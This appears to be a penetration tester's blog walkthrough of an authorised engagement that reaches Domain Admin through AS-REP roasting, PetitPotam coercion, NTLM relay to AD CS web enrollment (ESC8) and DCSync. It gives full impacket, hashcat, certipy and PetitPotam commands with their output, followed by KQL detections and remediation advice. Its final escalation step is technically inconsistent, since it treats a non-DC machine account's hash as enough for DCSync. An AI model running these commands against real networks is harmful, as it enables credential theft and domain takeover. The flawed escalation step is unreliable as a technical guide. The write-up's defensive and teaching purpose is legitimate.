A AD://SECURITY
All writeups
Active Directory April 2026 · 14 min read

Coercion-to-DA in 23 minutes: a PetitPotam → ADCS ESC8 walkthrough

From an unauthenticated foothold on the corporate LAN to Domain Admin in under half an hour. The chain is well known; the value is in seeing it end-to-end with the detection rules that should have caught us - and didn't.

Authorised testing only Every step below was performed under written engagement scope. Names, domains and IPs are sanitised. Don't try this without permission.

The setup

Internal network assessment. Network access via a wired drop in a meeting room, no domain credentials. The rules of engagement: prove a path to Domain Admin without exploiting unpatched CVEs, then write detections.

Three minutes after plugging in:

$ nmap -sn 10.10.10.0/24 --min-rate 1000 -oG live.txt
$ grep Up live.txt | awk '{print $2}' > hosts.txt
$ wc -l hosts.txt
237 hosts

One of the responses came from 10.10.10.10 with port 88 open (Kerberos) - that's our DC. A quick nslookup over the DHCP-supplied DNS server gave us the domain: corp.local. We were in.

Step 1 · Anonymous recon (4 minutes)

Without creds, the pickings are slim but not empty. Three things we always check first:

# 1) NetBIOS / SMB null session
$ nxc smb 10.10.10.10 -u '' -p '' --shares
$ enum4linux-ng 10.10.10.10

# 2) LDAP anonymous bind
$ ldapsearch -x -H ldap://10.10.10.10 -b "dc=corp,dc=local" \
    "(objectClass=user)" sAMAccountName

# 3) DNS zone transfer (long shot in 2026, still works occasionally)
$ dig axfr @10.10.10.10 corp.local

The LDAP anonymous bind was disabled - well done that admin. But the SMB null session leaked the domain SID and a list of 1,800-ish account names from the RID cycling trick (enum4linux-ng -R).

Step 2 · AS-REP roasting on the user list (3 minutes)

1,800 names. We don't even need passwords for AS-REP roasting - we just need DONT_REQ_PREAUTH set somewhere. We saved the names to users.txt and:

$ impacket-GetNPUsers corp.local/ \
    -usersfile users.txt -no-pass \
    -dc-ip 10.10.10.10 -outputfile asrep.hash

[*] Getting TGT for marketing-svc
$krb5asrep$23$marketing-svc@CORP.LOCAL:a1b2c3...

$ hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt \
    -r /usr/share/hashcat/rules/best64.rule

[+] marketing-svc:Welcome2024!

One hit. A service account with a guessable password and pre-auth disabled. That's our authenticated foothold.

Step 3 · BloodHound the world (5 minutes)

Now that we have credentials, the rest writes itself. We collect:

$ bloodhound-python -u marketing-svc -p 'Welcome2024!' \
    -d corp.local -ns 10.10.10.10 -c All --zip
$ cp *.zip ~/bloodhound/import/

What we're looking for in the BloodHound graph:

The graph showed three viable paths. The shortest one ran through WEB01.corp.local, which had the WebClient service running and a certificate enrollment HTTP endpoint on the CA - and that's exactly the ESC8 setup.

Step 4 · The ESC8 chain (8 minutes)

ESC8 (per SpecterOps' "Certified Pre-Owned") is the NTLM-relay attack against AD CS HTTP enrollment endpoints. The stack:

  1. Target machine has the WebClient service running (default on workstations, often left on for servers via WSUS / printer drivers).
  2. The CA exposes a Web Enrollment endpoint on HTTP without Extended Protection for Authentication (EPA).
  3. Coerce the target to authenticate to a host we control via WebDAV (PetitPotam, PrinterBug, DFSCoerce, etc.).
  4. Relay that authentication to the CA's Web Enrollment endpoint and request a certificate as the target machine account.
  5. Authenticate as the target machine using the certificate (PKINIT).

Setup the relay:

# Terminal 1 - start the relay aimed at the CA's Web Enrollment
$ impacket-ntlmrelayx -t http://CA01.corp.local/certsrv/certfnsh.asp \
    -smb2support --adcs --template "DomainController"

Then trigger PetitPotam to coerce WEB01$ into authenticating over WebDAV to our box:

# Terminal 2 - coerce the target machine
$ PetitPotam.py -d corp.local -u marketing-svc -p 'Welcome2024!' \
    10.10.14.5@80/pwn 10.10.10.20

[*] Connecting to ncacn_np:10.10.10.20[\PIPE\lsarpc]
[+] Successfully bound!
[*] Sending EfsRpcOpenFileRaw...
[+] Got error: SMB SessionError: STATUS_BAD_NETWORK_NAME - expected, coercion fired

Back in the relay terminal, ntlmrelayx caught the inbound auth, relayed it to the CA, and got a Kerberos-capable certificate for WEB01$. The CA logged it as a normal certificate issuance.

Step 5 · From machine cert to DA (3 minutes)

WEB01 is a domain controller's peer, not a DC itself, so we now use the cert via certipy to authenticate and pivot:

$ certipy auth -pfx web01.pfx -domain corp.local -dc-ip 10.10.10.10
[*] Using principal: WEB01$@corp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'web01.ccache'
[*] Trying to retrieve NT hash for 'WEB01$'
[+] NT hash: f1a2b3c4d5e6...

# With the machine NT hash and an unconstrained delegation chain,
# dump the DC via DCSync
$ impacket-secretsdump -hashes :f1a2b3c4d5e6... corp.local/WEB01\$@10.10.10.10
[*] Dumping NTDS.dit secrets via DRSUAPI...
Administrator:500:aad3b435...:::

23 minutes. From plug-in to krbtgt hash.

Detections that should have caught us

Every step in that chain throws a signal somewhere. Here are the ones the blue team should be writing - written for Microsoft Defender / Sentinel KQL, portable to most SIEMs:

// 1) AS-REP roast attempt: high-volume Kerberos pre-auth-not-required requests
SecurityEvent
| where EventID == 4768
| where TicketEncryptionType in ("0x17", "0x18")  // RC4 / AES
| where AccountType == "User"
| summarize cnt = count(), users = make_set(TargetAccount)
            by IpAddress, bin(TimeGenerated, 5m)
| where cnt > 10
// 2) PetitPotam coercion via EfsRpc named pipes
SecurityEvent
| where EventID == 5145
| where ShareName has_any ("\\\\*\\IPC$")
| where RelativeTargetName has_any ("lsarpc", "efsrpc", "netlogon")
| where AccessReason has "WriteData"
// suspicious source - service / non-admin account writing to lsarpc
| where AccountType == "User" and SubjectDomainName != "NT AUTHORITY"
// 3) NTLM relay landing on AD CS Web Enrollment
W3CIISLog
| where csUriStem has "/certsrv/certfnsh.asp"
| where cIp != ServerIP  // not local
| where csUserName endswith "$"  // machine account
| where csMethod == "POST"
// 4) DCSync: DRSGetNCChanges from a non-DC source
SecurityEvent
| where EventID == 4662
| where ObjectType has "DS-Replication-Get-Changes"
| where AccessMask == "0x100"
| where SubjectUserName !endswith "$"
       or SubjectUserName !in (KnownDomainControllers)

Remediation, in priority order

  1. Disable HTTP enrollment on the CA, or enable EPA + require HTTPS + channel binding (this kills ESC8 outright).
  2. Disable the WebClient service on servers that don't need WebDAV (most don't).
  3. Patch the AS-REP roast vector by removing DONT_REQ_PREAUTH from any account that has it; add a Tier-0 review of all enabled service accounts with weak passwords.
  4. Block outbound SMB from clients to the internet (cuts coercion-relay-to-attacker scenarios).
  5. Roll krbtgt twice, 24 hours apart. We had it.

Closing thought

None of this required a CVE. The chain is six months of legacy configuration plus one user with a weak password. That's true for almost every internal engagement I've ever run - the path to DA is paved with small, defensible decisions that nobody made.

Find them. Fix them. The same chain will happen again next quarter to someone else.

← All writeups
Active DirectoryADCSPetitPotamNTLM RelayESC8